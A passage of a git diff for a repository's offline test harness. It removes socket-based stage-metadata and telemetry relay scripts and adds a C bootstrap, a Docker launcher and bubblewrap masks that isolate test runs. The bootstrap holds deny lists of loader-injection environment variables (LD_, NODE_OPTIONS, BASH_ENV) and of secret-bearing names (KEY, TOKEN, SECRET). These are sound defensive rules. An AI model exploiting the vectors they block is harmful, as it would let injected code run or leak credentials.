worker.get(key)!=value:raise RuntimeError('worker/root node mismatch') - peer.sendall((json.dumps(dict(before,worker=worker),separators=(',',':'))+'\n').encode()) - except Exception: - pending=b'' - if not live() or start(pid)!=peer_start:raise RuntimeError('owned identity expired') - peer.sendall(b'{"error":"stage metadata request refused"}\n') - -finally: - if bound:os.unlink(config['socket']) - if peer:peer.close() - listener.close();os.close(root);os.close(keeper) diff --git a/scripts/native-stage-metadata-channel.ts b/scripts/native-stage-metadata-channel.ts deleted file mode 100644 index dde9f19d09..0000000000 --- a/scripts/native-stage-metadata-channel.ts +++ /dev/null @@ -1,28 +0,0 @@ -/** Test-only, metadata-only channel; its socket is unlinked before any request. */ -import net from "node:net"; -import {lstatSync,readFileSync,readSync,writeSync,fstatSync,realpathSync} from "node:fs"; -import {join,dirname} from "node:path"; -import type {OpaqueStageEvidence} from "./native-opaque-stage"; -const start=(pid:number)=>readFileSync(`/proc/${pid}/stat`,"utf8").replace(/^.*\) /s,"").split(" ")[19]!; -export async function connectNativeStageMetadata(socket:string,expected:{id:string;keeper:{pid:number;start:string;mountNamespaceInode:string};root:{dev:string;ino:string}}) { - const before=lstatSync(socket,{bigint:true}),parent=lstatSync(dirname(socket),{bigint:true});if(parent.uid!==0n||(parent.mode&0o022n)!==0n||realpathSync(socket)!==socket||!before.isSocket()||before.uid!==0n||(before.mode&0o777n)!==0o660n)throw Error("Unpinned stage metadata channel"); - const connection=net.createConnection(socket);connection.pause(); - await new Promise((resolve,reject)=>{connection.once("connect",resolve);connection.once("error",reject);}); - const fd=(connection as unknown as {_handle:{fd:number}})._handle.fd;let closed=false; - const line=()=>{ - const until=performance.now()+15000,parts:number[]=[];const byte=Buffer.alloc(1); - for(;;){if(performance.now()>until)throw Error("Stage metadata channel timed out");let n:number;try{n=readSync(fd,byte);}catch(error){if((error as NodeJS.ErrnoException).code!=="EAGAIN")throw error;Bun.sleepSync(1);continue;}if(!n)throw Error("Stage metadata channel closed");if(byte[0]===10)return JSON.parse(Buffer.from(parts).toString("utf8"));if(parts.length>=4096)throw Error("Stage metadata reply bound");parts.push(byte[0]!);} - }; - try{ - const flags=/^flags:\s+([0-7]+)$/m.exec(readFileSync(`/proc/self/fdinfo/${fd}`,"utf8"))?.[1];if(!flags||(parseInt(flags,8)&0x80000 /* O_CLOEXEC */)===0)throw Error("Stage metadata descriptor is not close-on-exec"); - const hello=line();if(Object.keys(hello).sort().join(",")!=="dev,ino,namespace,peer,peerStart,pid,stage,start"||hello.stage!==expected.id||hello.pid!==expected.keeper.pid||hello.start!==expected.keeper.start||hello.namespace!==expected.keeper.mountNamespaceInode||hello.dev!==expected.root.dev||hello.ino!==expected.root.ino||hello.peer!==process.pid||hello.peerStart!==start(process.pid))throw Error("Stage metadata handle differs"); - try{lstatSync(socket);throw Error("Stage metadata socket remains reachable");}catch(error){if((error as NodeJS.ErrnoException).code!=="ENOENT")throw error;} - connection.unref();const info=fstatSync(fd,{bigint:true}); - return {matches(value:typeof expected){return !closed&&value.id===expected.id&&value.keeper.pid===expected.keeper.pid&&value.keeper.start===expected.keeper.start&&value.keeper.mountNamespaceInode===expected.keeper.mountNamespaceInode&&value.root.dev===expected.root.dev&&value.root.ino===expected.root.ino;},identity:{dev:String(info.dev),ino:String(info.ino)},inspect(path:string,stamp:string,inode:string):OpaqueStageEvidence{ - if(closed)throw Error("Stage metadata channel expired"); - const request=Buffer.from(JSON.stringify({path,stamp,inode})+"\n");if(request.length>4096||writeSync(fd,request)!==request.length)throw Error("Stage metadata transfer failed"); - const reply=line();if(reply?.error!==undefined){if(Object.keys(reply).join(",")!=="error"||reply.error!=="stage metadata request refused")throw Error("Stage metadata schema mismatch");throw Error("Stage metadata request refused");}return reply as OpaqueStageEvidence; - },close(){if(!closed){closed=true;connection.destroy();}}}; - }catch(error){connection.destroy();throw error;} -} -export function nativeStageMetadataSocket(managerSocket:string,id:string){if(!/^[0-9a-f-]{36}$/.test(id))throw Error("Invalid fixture stage ID");return join(dirname(managerSocket),".guard-"+id);} diff --git a/scripts/native-stage-metadata-check.ts b/scripts/native-stage-metadata-check.ts deleted file mode 100644 index 352ce50487..0000000000 --- a/scripts/native-stage-metadata-check.ts +++ /dev/null @@ -1,43 +0,0 @@ -/** Fixed test-only client of the existing private stage metadata capability. */ -import {createHash} from "node:crypto"; -import {createNativeBrainManagerClient} from "../packages/ui-sdk/src/server/native-brain-manager-client"; -try{ - const input=JSON.parse(await Bun.stdin.text()) as {options:Parameters[0];id:string;uid:number;entries:[string,string][];verifyBytes?:boolean;hashes?:[string,string][];links?:[string,string][];opaque?:{path:string;kind:string;stamp:string}[]}; - if(!Array.isArray(input.entries)||input.entries.length>200000)throw Error("Invalid inspection bound"); - const expected=new Map(input.entries.filter(([path])=>path!=="")),seen=new Set(); - if(expected.size!==input.entries.length-1)throw Error("Invalid inspection inventory"); - const manager=createNativeBrainManagerClient(input.options); - const hashes=new Map(input.hashes??[]),links=new Map(input.links??[]); - const opaque=new Map((input.opaque??[]).map(node=>[node.path,node])); - let byteFiles=0,byteBytes=0; - let failure:unknown,failed=false;const cancellations=new Set<()=>Promise>();const fail=(error:unknown)=>{if(!failed){failed=true;failure=error;}for(const cancel of cancellations)void cancel().catch(()=>{});};const queue:(()=>Promise)[]=[],pending=new Set>(); - const walk=async(path:string,depth:number):Promise=>{ - if(depth>256)throw Error("Inspection depth exceeded"); - for(const row of await manager.listStage(input.id,path,input.uid)){ - if(seen.has(row.path)||expected.get(row.path)!==row.stamp)throw Error("Stage changed"); - seen.add(row.path);queue.push(async()=>{if(failed)throw failure;const node=opaque.get(row.path); - if(node){ - if(node.kind!==row.kind||node.stamp!==row.stamp)throw Error("Opaque node changed"); - let denied=false; - try{if(node.kind==="directory")await manager.listStage(input.id,row.path,input.uid);else{const copy=await manager.readStage(input.id,row.path,Math.max(1,row.bytes),input.uid),reader=copy.stream.getReader(),cancel=()=>reader.cancel();cancellations.add(cancel);try{if(failed)throw failure;for(;;){const part=await reader.read();if(failed)throw failure;if(part.done)break;}await copy.completed;}finally{await cancel().catch(()=>{});await copy.completed.catch(()=>{});cancellations.delete(cancel);}}}catch(error){if((error as NodeJS.ErrnoException).code!=="EACCES")throw error;denied=true;} - if(!denied)throw Error("Opaque node became accessible"); - }else if(row.kind==="directory")await walk(row.path,depth+1); - else if(row.kind==="symlink"){if(links.get(row.path)!==row.target)throw Error("Stage symlink changed");} - else if(row.kind==="file"&&input.verifyBytes===true){ - const digest=hashes.get(row.path);if(!digest)throw Error("Missing inspected byte identity"); - const copy=await manager.readStage(input.id,row.path,Math.max(1,row.bytes),input.uid),reader=copy.stream.getReader(),cancel=()=>reader.cancel();cancellations.add(cancel); - try{const hash=createHash("sha256");let bytes=0;for(;;){if(failed)throw failure;const part=await reader.read();if(part.done)break;bytes+=part.value.byteLength;if(bytes>row.bytes)throw Error("Stage file grew");hash.update(part.value);} - const receipt=await copy.completed,after=await manager.statStage(input.id,row.path,input.uid); - if(bytes!==row.bytes||receipt.bytes!==bytes||copy.workerUid!==input.uid||receipt.workerUid!==input.uid||hash.digest("hex")!==digest||after?.stamp!==row.stamp)throw Error("Stage bytes changed");byteFiles++;byteBytes+=bytes; - }finally{await cancel().catch(()=>{});await copy.completed.catch(()=>{});cancellations.delete(cancel);} - } - }); - } - }; - try{await walk("",0);while(!failed&&(queue.length||pending.size)){ - while(queue.length&&pending.size<2){const job=queue.shift()!;let task:Promise;task=job().catch(fail).finally(()=>pending.delete(task));pending.add(task);} - if(pending.size)await Promise.race(pending); - }}finally{queue.length=0;await Promise.allSettled([...cancellations].map(cancel=>cancel()));await Promise.allSettled([...pending]);} - if(failed)throw failure;if(seen.size!==expected.size)throw Error("Stage changed"); - process.stdout.write(JSON.stringify({current:true,byteFiles,byteBytes})+"\n"); -}catch{process.stdout.write('{"current":false}\n');process.exitCode=1;} diff --git a/scripts/native-test-receipts.ts b/scripts/native-test-receipts.ts index ef3ea3eb85..09acbd1bfc 100644 --- a/scripts/native-test-receipts.ts +++ b/scripts/native-test-receipts.ts @@ -1,6 +1,5 @@ /** Test-owned receipt files/descriptors stay separate from protocol stderr. */ import { closeSync, constants, fstatSync, mkdtempSync, openSync, readFileSync, readSync, realpathSync, statSync, rmSync, writeSync } from "node:fs"; -import {createRequire} from "node:module"; import { tmpdir } from "node:os"; import { basename, join, resolve } from "node:path"; const KEY="BRAIN_NATIVE_RECEIPT",OWNER=Symbol.for("brain-kit.test.native-receipt-owner"); @@ -97,18 +96,7 @@ export function flushNativeReceipts():void { if(state.pending.length>1048576)throw Error("Native receipt exceeded its bound"); } } -function verifyGuardTimingReceipt(value:Record):void { - - const issuer=(value as Record)[Symbol.for("brain-kit.test.guard-timing-issuer")]; - const expected=new URL("./test-native-guard.ts",import.meta.url);let url:URL; - try{url=new URL(String(issuer));}catch{throw Error("Unowned native guard timing interval refused");} - if(url.protocol!==expected.protocol||url.pathname!==expected.pathname||url.hash||url.search&&!/^\?[A-Za-z0-9_.=-]+$/.test(url.search))throw Error("Unowned native guard timing interval refused"); - const guard=createRequire(import.meta.url)(url.href) as {isNativeGuardTimingReceipt(value:object):boolean}; - if(!guard.isNativeGuardTimingReceipt(value))throw Error("Unowned native guard timing interval refused"); - -} export function nativeReceipt(value:Record):void { - if(value.kind==="native-guard-interval")verifyGuardTimingReceipt(value); const sink=owner();if(!sink){ // Lost delivery cannot turn a boundary refusal into a successful local run. if(value.success===false){writeReceipt(2,JSON.stringify(value)+"\n");if(["native-offline-boundary","native-offline-invocation-failed","native-offline-route-denial"].includes(String(value.kind))){process.exitCode=1;process.prependOnceListener("exit",()=>{process.exitCode=1;});}} @@ -166,9 +154,9 @@ export function inheritNativeReceipts(options:Record,argv:readonly s } return {options:{...rest,stdio,env:{...(options.env??process.env),[KEY]:token}},argv:command}; } -export function captureNativeReceipts():{env:Record;read():string;readRecords():Record[];recordGuardTiming(value:Record):void;dispose():void} { +export function captureNativeReceipts():{env:Record;read():string;readRecords():Record[];dispose():void} { const {sink,directory,file}=createSink(false);let closed=false; - return {env:{[KEY]:JSON.stringify(sink)},recordGuardTiming(value){if(closed||!same(sink))throw Error("Native receipt capture changed");if(value.kind!=="native-guard-interval")throw Error("Unowned native guard timing interval refused");verifyGuardTimingReceipt(value);writeReceipt(sink.fd,JSON.stringify(value)+"\n");},read(){if(!same(sink))throw Error("Native receipt capture changed");return readFileSync(file,"utf8");},readRecords(){if(closed||!same(sink))throw Error("Native receipt capture changed");const bytes=readFileSync(file),end=bytes.lastIndexOf(10);return end<0?[]:bytes.subarray(0,end).toString("utf8").split("\n").filter(Boolean).map(line=>JSON.parse(line) as Record);},dispose(){if(closed)return;closed=true;closeSync(sink.fd);rmSync(directory,{recursive:true,force:true});}}; + return {env:{[KEY]:JSON.stringify(sink)},read(){if(!same(sink))throw Error("Native receipt capture changed");return readFileSync(file,"utf8");},readRecords(){if(closed||!same(sink))throw Error("Native receipt capture changed");const bytes=readFileSync(file),end=bytes.lastIndexOf(10);return end<0?[]:bytes.subarray(0,end).toString("utf8").split("\n").filter(Boolean).map(line=>JSON.parse(line) as Record);},dispose(){if(closed)return;closed=true;closeSync(sink.fd);rmSync(directory,{recursive:true,force:true});}}; } export function withoutNativeReceipts(options:Record):Record&{env:Record}{ const env={...(options.env??process.env)}; diff --git a/scripts/native-title-collector.ts b/scripts/native-title-collector.ts deleted file mode 100644 index e36eafcff9..0000000000 --- a/scripts/native-title-collector.ts +++ /dev/null @@ -1,35 +0,0 @@ -/** Test-owned projection of the real product OTLP collector; never ambient loopback. */ -import {chmodSync,lstatSync,readFileSync,writeFileSync} from "node:fs"; -import {join} from "node:path"; -const serve=Bun.serve.bind(Bun),fetch=Bun.fetch.bind(Bun); -const TITLE_ENTRY="/** Trusted test-only endpoint, using the turn-proxy TCP-to-Unix handoff. */\nimport {createServer,connect,type Socket} from \"node:net\";\nconst [socket,port,separator,...command]=process.argv.slice(2);\nif(socket!==\"/tmp/native-relay/title.sock\"||!port||!/^\\d+$/.test(port)||Number(port)<1||Number(port)>65535||separator!==\"--\"||!command[0]?.startsWith(\"/\"))throw Error(\"native title endpoint unavailable\");\nconst peers=new Set();\nconst track=(peer:Socket)=>{peers.add(peer);peer.on(\"error\",()=>{});peer.once(\"close\",()=>peers.delete(peer));return peer;};\nconst server=createServer(peer=>{track(peer);const upstream=track(connect(socket));peer.pipe(upstream);upstream.pipe(peer);peer.once(\"close\",()=>upstream.destroy());upstream.once(\"close\",()=>peer.destroy());});\nawait new Promise((resolve,reject)=>{server.once(\"error\",reject);server.listen(Number(port),\"127.0.0.1\",()=>{server.off(\"error\",reject);resolve();});});\nconst child=Bun.spawn(command,{env:process.env,stdin:\"inherit\",stdout:\"inherit\",stderr:\"inherit\"});\nconst terminate=(signal:NodeJS.Signals)=>child.kill(signal);\nprocess.on(\"SIGTERM\",terminate);process.on(\"SIGINT\",terminate);\ntry{process.exitCode=await child.exited;}finally{process.off(\"SIGTERM\",terminate);process.off(\"SIGINT\",terminate);for(const peer of peers)peer.destroy();server.close();}\n"; -interface Scope {isLive():boolean} -interface Collector {scope:Scope;endpoint:string;token:string;active:boolean} -const collectors=new Set(); -const endpointKey="OTEL_EXPORTER_OTLP_LOGS_ENDPOINT",headersKey="OTEL_EXPORTER_OTLP_LOGS_HEADERS"; -function endpoint(value:string){const url=new URL(value);if(url.protocol!=="http:"||url.hostname!=="127.0.0.1"||!url.port||url.pathname!=="/v1/logs"||url.search||url.hash||url.username||url.password)throw Error("native title collector endpoint differs");return url;} -export function registerNativeTitleCollector(env:Record,scope:Scope):()=>void { - endpoint(env[endpointKey]!);const token=env[headersKey];if(!scope.isLive()||!/^Authorization=Bearer [0-9a-f-]{36}$/.test(token??""))throw Error("native title collector declaration unavailable"); - const role:Collector={scope,endpoint:env[endpointKey]!,token:token!.slice("Authorization=".length),active:true};collectors.add(role); - return ()=>{role.active=false;collectors.delete(role);}; -} -export function prepareNativeTitleCollector(env:Record,scope:Scope,directory:string){ - const url=env[endpointKey];if(!url||env.OTEL_LOGS_EXPORTER!=="otlp")return; - const found=[...collectors].filter(role=>role.endpoint===url&&role.scope===scope&&role.active&&scope.isLive()); - if(found.length!==1)return;const role=found[0]!,target=endpoint(url); - if(env[headersKey]!==`Authorization=${role.token}`)throw Error("native title collector credential differs"); - let entryStamp:ReturnType|undefined; - const entry=join(directory,"title-entry.ts"),bytes=Buffer.from(TITLE_ENTRY); - const validate=()=>{if(entryStamp){const now=lstatSync(entry);if(!now.isFile()||now.nlink!==1||now.dev!==entryStamp.dev||now.ino!==entryStamp.ino||(now.mode&0o777)!==0o444||!readFileSync(entry).equals(bytes))throw Error("native title collector entry changed");}if(!role.active||!collectors.has(role)||role.scope!==scope||!scope.isLive()||env[endpointKey]!==role.endpoint||env[headersKey]!==`Authorization=${role.token}`)throw Error("native title collector declaration unavailable");}; - writeFileSync(entry,bytes,{mode:0o444});chmodSync(entry,0o444);entryStamp=lstatSync(entry); - const socket=join(directory,"title.sock"); - const handle=async(request:Request)=>{ - try{validate();}catch{return new Response(null,{status:403});} - if(request.method!=="POST"||new URL(request.url).pathname!=="/v1/logs"||new URL(request.url).search||request.headers.get("authorization")!==role.token)return new Response(null,{status:403}); - return fetch(role.endpoint,{method:"POST",headers:request.headers,body:request.body,redirect:"manual",signal:request.signal}); - }; - const server=serve({unix:socket,maxRequestBodySize:1024*1024,fetch:handle}),stamp=lstatSync(socket,{bigint:true}); - const allowed="/tmp/native-relay/title.sock",port=target.port; - return {socket,handle,validate,dispose(){server.stop(true);},args:["--title-collector",port,allowed,String(stamp.dev),String(stamp.ino)], - wrap:(argv:string[])=>[process.execPath,"--config=/dev/null","--no-env-file","/tmp/native-relay/title-entry.ts",allowed,port,"--",...argv]}; -} diff --git a/scripts/offline-runner/bootstrap.c b/scripts/offline-runner/bootstrap.c new file mode 100644 index 0000000000..2e1a698900 --- /dev/null +++ b/scripts/offline-runner/bootstrap.c @@ -0,0 +1,128 @@ +/* Static clean entry: no interpreter/loader environment is inherited by setup. */ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#ifndef BRAIN_TEST_ROOT +#error BRAIN_TEST_ROOT required +#endif +#ifndef BRAIN_TEST_BUN +#error BRAIN_TEST_BUN required +#endif +#ifndef BRAIN_TEST_SETUP +#define BRAIN_TEST_SETUP BRAIN_TEST_ROOT "/scripts/offline-runner/runner.py" +#endif +extern char **environ; +static int fail(const char *stage) { + int failure=errno;char row[512];int length=snprintf(row,sizeof(row),"{\"kind\":\"offline-runner-refusal\",\"success\":false,\"reason\":\"offline native isolation unavailable: setup failed\",\"stage\":\"%s\",\"errno\":%d}\n",stage,failure); + if(length>0&&(size_t)length=0){ + (void)mkdirat(root,"tmp",0700);int directory=openat(root,"tmp",O_RDONLY|O_DIRECTORY|O_NOFOLLOW|O_CLOEXEC);close(root); + if(directory>=0){ + char name[96];snprintf(name,sizeof(name),"offline-runner-refusals-%lu.jsonl",(unsigned long)getuid()); + int output=openat(directory,name,O_WRONLY|O_CREAT|O_APPEND|O_NOFOLLOW|O_CLOEXEC|O_NONBLOCK,0600);close(directory); + if(output>=0){struct stat info;if(!fstat(output,&info)&&S_ISREG(info.st_mode)&&info.st_uid==getuid()&&info.st_nlink==1&&(info.st_mode&0777)==0600){written=write(output,row,(size_t)length);(void)written;(void)fsync(output);}close(output);} + } + } +#endif + } + return 125; +} +static int inside_view(void) { + char record[65536];int fd=open("/run/brain-test/record.json",O_RDONLY|O_NOFOLLOW|O_CLOEXEC);if(fd<0)return 0; + struct stat st;if(fstat(fd,&st)||!S_ISREG(st.st_mode)||(st.st_mode&0777)!=0444){close(fd);return 0;} + ssize_t n=read(fd,record,sizeof(record)-1);close(fd);if(n<=0)return 0;record[n]=0; + const char *names[]={"net","mnt","ipc","pid","user",NULL}; + for(int i=0;names[i];i++){char path[128],ns[128],pattern[256];snprintf(path,sizeof(path),"/proc/self/ns/%s",names[i]);ssize_t size=readlink(path,ns,sizeof(ns)-1);if(size<0)return 0;ns[size]=0;snprintf(pattern,sizeof(pattern),"\"%s\": \"%s\"",names[i],ns);if(!strstr(record,pattern))return 0;} + return 1; +} +static int loader(const char *key) {return !strncmp(key,"LD_",3)||!strncmp(key,"DYLD_",5)||!strncmp(key,"PYTHON",6)||!strcmp(key,"NODE_OPTIONS")||!strcmp(key,"BUN_OPTIONS")||!strcmp(key,"BASH_ENV")||!strcmp(key,"ENV");} +static int keep(const char *key) { + static const char *fixed[]={"PATH","LANG","LC_ALL","TERM","TZ","TMPDIR","USER","LOGNAME","SUDO_UID","SUDO_GID","GITHUB_ACTIONS","RUNNER_ENVIRONMENT","GITHUB_ENV","GITHUB_PATH","GITHUB_OUTPUT","GITHUB_STEP_SUMMARY","GITHUB_RUN_ID","GITHUB_RUN_ATTEMPT","GITHUB_JOB","CI","PUPPETEER_EXECUTABLE_PATH","BRAIN_NATIVE_RECEIPT","NODE_CHANNEL_FD","NODE_CHANNEL_SERIALIZATION_MODE",NULL}; + for(int i=0;fixed[i];i++)if(!strcmp(key,fixed[i]))return 1; + if(strncmp(key,"BRAIN_TEST_",11)&&strncmp(key,"BRAIN_WORKSPACE_",16)&&strncmp(key,"BRAIN_REQUIRE_",14))return 0; + return !strstr(key,"KEY")&&!strstr(key,"TOKEN")&&!strstr(key,"SECRET")&&!strstr(key,"AUTH")&&!strstr(key,"CREDENTIAL")&&!strstr(key,"PROXY")&&!strstr(key,"HELPER"); +} +static int number(const char *json,const char *key,unsigned long long *value){ + char pattern[128];snprintf(pattern,sizeof(pattern),"\"%s\":",key);const char *at=strstr(json,pattern);if(!at)return 0;at+=strlen(pattern);while(*at==' ')at++;if(*at=='\"')at++; + char *end;errno=0;*value=strtoull(at,&end,10);if(errno||at==end)return 0;return *end==','||*end=='}'||*end=='\"'; +} +static int harness_file(int fd,const struct stat *st){ + const char *keys[]={"BRAIN_WORKSPACE_LEASE","BRAIN_NATIVE_RECEIPT",NULL}; + if(!S_ISREG(st->st_mode)||st->st_uid!=getuid()||st->st_nlink!=1)return 0; + for(int i=0;keys[i];i++){ + const char *token=getenv(keys[i]);unsigned long long held,dev,ino,owner,ownerfd; + if(!token||!number(token,"fd",&held)||held!=(unsigned long long)fd||!number(token,"dev",&dev)||dev!=(unsigned long long)st->st_dev||!number(token,"ino",&ino)||ino!=(unsigned long long)st->st_ino)continue; + int access=fcntl(fd,F_GETFL);if(access<0||(!strcmp(keys[i],"BRAIN_NATIVE_RECEIPT")&&(access&O_ACCMODE)==O_RDONLY))continue; + if(inside_view())return 1; + if(!number(token,"ownerPid",&owner)||!number(token,"ownerFd",&ownerfd))continue; + char path[128];snprintf(path,sizeof(path),"/proc/%llu/fd/%llu",owner,ownerfd);struct stat actual; + if(!stat(path,&actual)&&actual.st_dev==st->st_dev&&actual.st_ino==st->st_ino)return 1; + } + return 0; +} +static int anchor_channel(int fd){ + if(fd!=3||!inside_view()||!getenv("NODE_CHANNEL_FD")||strcmp(getenv("NODE_CHANNEL_FD"),"3"))return 0; + struct ucred peer;socklen_t length=sizeof(peer); + if(getsockopt(fd,SOL_SOCKET,SO_PEERCRED,&peer,&length)||peer.pid!=getppid()||peer.uid!=getuid())return 0; + char path[128],command[4096];struct stat expected,actual;snprintf(path,sizeof(path),"/proc/%d/exe",peer.pid);if(stat(path,&actual)||stat(BRAIN_TEST_BUN,&expected)||actual.st_dev!=expected.st_dev||actual.st_ino!=expected.st_ino)return 0; + snprintf(path,sizeof(path),"/proc/%d/cmdline",peer.pid);int parent=open(path,O_RDONLY|O_CLOEXEC);if(parent<0)return 0; + ssize_t size=read(parent,command,sizeof(command)-1);close(parent);if(size<=0)return 0; + for(ssize_t i=0;i=3){if(harness_file(fd,&st))return 0;errno=EPERM;return -1;}errno=EPERM;return -1; +} +int main(int argc,char **argv) { +#ifdef BRAIN_TEST_ROOT_HELPER + if(geteuid()!=0||argc<4||strcmp(argv[1],"--root-handoff")){errno=EPERM;return fail("root-handoff-required");} +#endif + /* Environment capture precedes clearenv; values are never printed. */ + int inside=inside_view(); + char **clean=calloc(4096,sizeof(char*));size_t count=0; + if(!clean)return fail("environment"); + for(char **item=environ;*item;item++){ + const char *equal=strchr(*item,'=');if(!equal)continue; + size_t n=equal-*item;if(n>255)continue;char key[256];memcpy(key,*item,n);key[n]=0; + if(!loader(key)&&(inside||keep(key))){if(count>=4094)return fail("environment-bound");clean[count++]=strdup(*item);} + } + clearenv();for(size_t i=0;id_name,&end,10);if(*end||fd<3||fd==inventory)continue;if(descriptor((int)fd)){char stage[96];struct stat rejected;int kind=fstat((int)fd,&rejected)?0:(int)(rejected.st_mode&S_IFMT);snprintf(stage,sizeof(stage),"inherited-descriptor-%ld-type-%o",fd,kind);closedir(dir);return fail(stage);}} + closedir(dir); + int begin=1;if(argc>1&&!strcmp(argv[1],"--"))begin++; + const char *base=strrchr(argv[0],'/');base=base?base+1:argv[0]; + int shim=!strcmp(base,"bun"); + char **command=calloc((size_t)argc+12,sizeof(char*));if(!command)return fail("arguments"); + size_t at=0;command[at++]="/usr/bin/python3";command[at++]="-I";command[at++]="-S";command[at++]=BRAIN_TEST_SETUP;command[at++]=BRAIN_TEST_ROOT;command[at++]=BRAIN_TEST_BUN; + if(shim)command[at++]=BRAIN_TEST_BUN; + for(int i=begin;i=len(command):return command,[] + program=command[index] + if program=='test' or pathlib.Path(program).resolve()==root/'scripts/test.ts': + at=index+1 + elif re.search(r'\.(?:test|spec|native)\.[cm]?[jt]sx?$',program): + path=(cwd/program).resolve() + try:row=catalog[str(path.relative_to(root))] + except (ValueError,KeyError):raise ValueError(REFUSAL+': unknown module') + if not row['compatible'] or row['sha256']!=digest(path):raise ValueError(REFUSAL+': incompatible module') + return command,[] + else: + return command,[] + files, refused = explicit_files(root, cwd, command[at:], catalog) + args, index = [], at + while index < len(command): + arg = command[index] + if arg == '--': break + if arg.startswith('-'): + args.append(arg) + if '=' not in arg and arg in VALUE_FLAGS: + index += 1; args.append(command[index]) + index += 1 + return [*command[:at], *args, *files], refused + + +if __name__ == '__main__' and len(sys.argv) == 2 and sys.argv[1] == '--select': + request = json.load(sys.stdin) + if set(request) != {'root', 'cwd', 'command'}: + raise ValueError(REFUSAL + ': request schema') + root = pathlib.Path(request['root']).resolve() + catalog = json.loads(pathlib.Path('/run/brain-test/rootless-files.json').read_text())['files'] + command, refused = resolve_command(root, pathlib.Path(request['cwd']).resolve(), request['command'], catalog) + print(json.dumps({'command': command, 'refused': refused})) + raise SystemExit(0) + + +if __name__ == '__main__': + # Explicit authoring operation, never an automatic acceptance of new tests + # by a rootless run. Changes to this inventory are reviewed with the tests. + root = pathlib.Path(sys.argv[1]).resolve() + rows = {} + restricted = re.compile(r'setpriv|--reuid|--regid|workerUid\s*:|appUid\s*:|separate[_ -]uid|prove-worker-identity|prove-native-host|prove-reference-pool|native maintenance|root-bwrap|process\.getuid[^\n]*(?:===|!==|==|!=)\s*0', re.I) + for base in ('tests', 'packages', 'experiments'): + for path in (root / base).rglob('*'): + if path.is_file() and re.search(r'\.(?:test|spec)\.[cm]?[jt]sx?$', path.name) and 'node_modules' not in path.parts: + source = path.read_text() + rows[str(path.relative_to(root))] = {'sha256': digest(path), 'compatible': not bool(restricted.search(source))} + (root / 'scripts/offline-runner/rootless-files.json').write_text('{\n \"version\":1,\n \"files\":{\n'+',\n'.join(' '+json.dumps(name)+':'+json.dumps(row,separators=(',',':')) for name,row in sorted(rows.items()))+'\n }\n}\n') diff --git a/scripts/offline-runner/container.d.mts b/scripts/offline-runner/container.d.mts new file mode 100644 index 0000000000..336968e342 --- /dev/null +++ b/scripts/offline-runner/container.d.mts @@ -0,0 +1 @@ +export function prepareOfflineContainer(argv:readonly string[]):{argv:string[];id:string;dispose():void}; diff --git a/scripts/offline-runner/container.mjs b/scripts/offline-runner/container.mjs new file mode 100644 index 0000000000..8d079a90e7 --- /dev/null +++ b/scripts/offline-runner/container.mjs @@ -0,0 +1,31 @@ +/** Trusted outer launcher only. A test runner never receives daemon control. */ +import {randomUUID} from 'node:crypto'; +import {spawnSync} from 'node:child_process'; +const checked=(args)=>{ + const result=spawnSync('docker',args,{encoding:'utf8',maxBuffer:4*1024*1024}); + if(result.error||result.status!==0)throw Error('Offline test container operation failed',{cause:result.error??result.stderr}); + return result.stdout.trim(); +}; +export function prepareOfflineContainer(argv){ + if(argv[0]!=='docker'||argv[1]!=='run')throw Error('Expected fixed outer Docker run'); + if(!argv.includes('--pull=never'))throw Error('OFFLINE_CONTAINER_PULL_NEVER_REQUIRED'); + const nonce=randomUUID(),label=`brain-test-offline=${nonce}`; + const options=argv.slice(2).filter(word=>word!=='--rm'); + let id; + try{ + id=checked(['create','--label',label,...options]); + if(!/^[a-f0-9]{64}$/.test(id))throw Error('Offline container identity unavailable'); + const [record]=JSON.parse(checked(['inspect',id])); + const network=record?.HostConfig; + if(record?.Id!==id||record.Config?.Labels?.['brain-test-offline']!==nonce||network?.NetworkMode!=='none'||network.IpcMode==='host'||Object.keys(network.PortBindings??{}).length||Object.keys(record.NetworkSettings?.Networks??{}).some(name=>name!=='none'))throw Error('OFFLINE_CONTAINER_ACTUAL_NETWORK_AND_IPC_REQUIRED'); + if(record.Mounts?.some(mount=>['/var/run/docker.sock','/run/docker.sock'].includes(mount.Source)||['/tmp','/run','/var/run'].includes(mount.Source)))throw Error('OFFLINE_CONTAINER_HOST_IPC_MOUNT_REFUSED'); + return {argv:['docker','start','--attach',...(options.includes('--interactive')?['--interactive']:[]),id],id, + dispose(){ + const inspected=spawnSync('docker',['inspect',id],{encoding:'utf8'}); + if(inspected.status!==0&&/No such (?:object|container)/.test(inspected.stderr??''))return; + if(inspected.error||inspected.status!==0)throw Error('Offline container cleanup unconfirmed'); + const [live]=JSON.parse(inspected.stdout);if(live.Id!==id||live.Config?.Labels?.['brain-test-offline']!==nonce)throw Error('Offline container cleanup identity changed'); + checked(['rm','--force',id]); + }}; + }catch(error){if(id&&/^[a-f0-9]{64}$/.test(id))checked(['rm','--force',id]);throw error;} +} diff --git a/scripts/offline-runner/masks.ts b/scripts/offline-runner/masks.ts new file mode 100644 index 0000000000..3a93ad8cb1 --- /dev/null +++ b/scripts/offline-runner/masks.ts @@ -0,0 +1,17 @@ +/** Additional known-runtime path masks. No stage provenance or byte scanning. */ +import {readFileSync} from "node:fs"; +import {basename} from "node:path"; +import {requireOfflineRunner} from "./qualification"; +type MaskSet={version:1;stub:string;paths:string[]}; +export function runtimeMaskCommand(command:readonly string[],env:Record):string[] { + requireOfflineRunner(); + // A native launch is safe because the whole view is offline, independently + // of its spelling. Retain path tripwires around opaque shell expressions. + const shell=["sh","bash","dash","zsh","ksh"].includes(basename(command[0]??"")); + if(!shell||!command.slice(1,3).includes("-c"))return [...command]; + const masks=JSON.parse(readFileSync("/run/brain-test/runtime-masks.json","utf8")) as MaskSet; + if(masks.version!==1||!Array.isArray(masks.paths)||typeof masks.stub!=="string")throw Error("offline native isolation unavailable: runtime masks"); + const selected=env.CLAUDE_CODE_PATH; + const paths=[...new Set([...masks.paths,...(selected?.startsWith("/")?[selected]:[])])]; + return ["/usr/bin/bwrap","--unshare-user","--die-with-parent","--cap-drop","ALL","--bind","/","/","--dev-bind","/dev","/dev",...paths.flatMap(path=>["--ro-bind",masks.stub,path]),"--",...command]; +} diff --git a/scripts/offline-runner/native-proof.ts b/scripts/offline-runner/native-proof.ts new file mode 100644 index 0000000000..cf4a346a61 --- /dev/null +++ b/scripts/offline-runner/native-proof.ts @@ -0,0 +1,31 @@ +/** Actual installed runtime; only the private loopback fixture can answer it. */ +import {copyFileSync} from "node:fs"; +import {watchdogMs} from "../test-deadlines"; +import {query} from 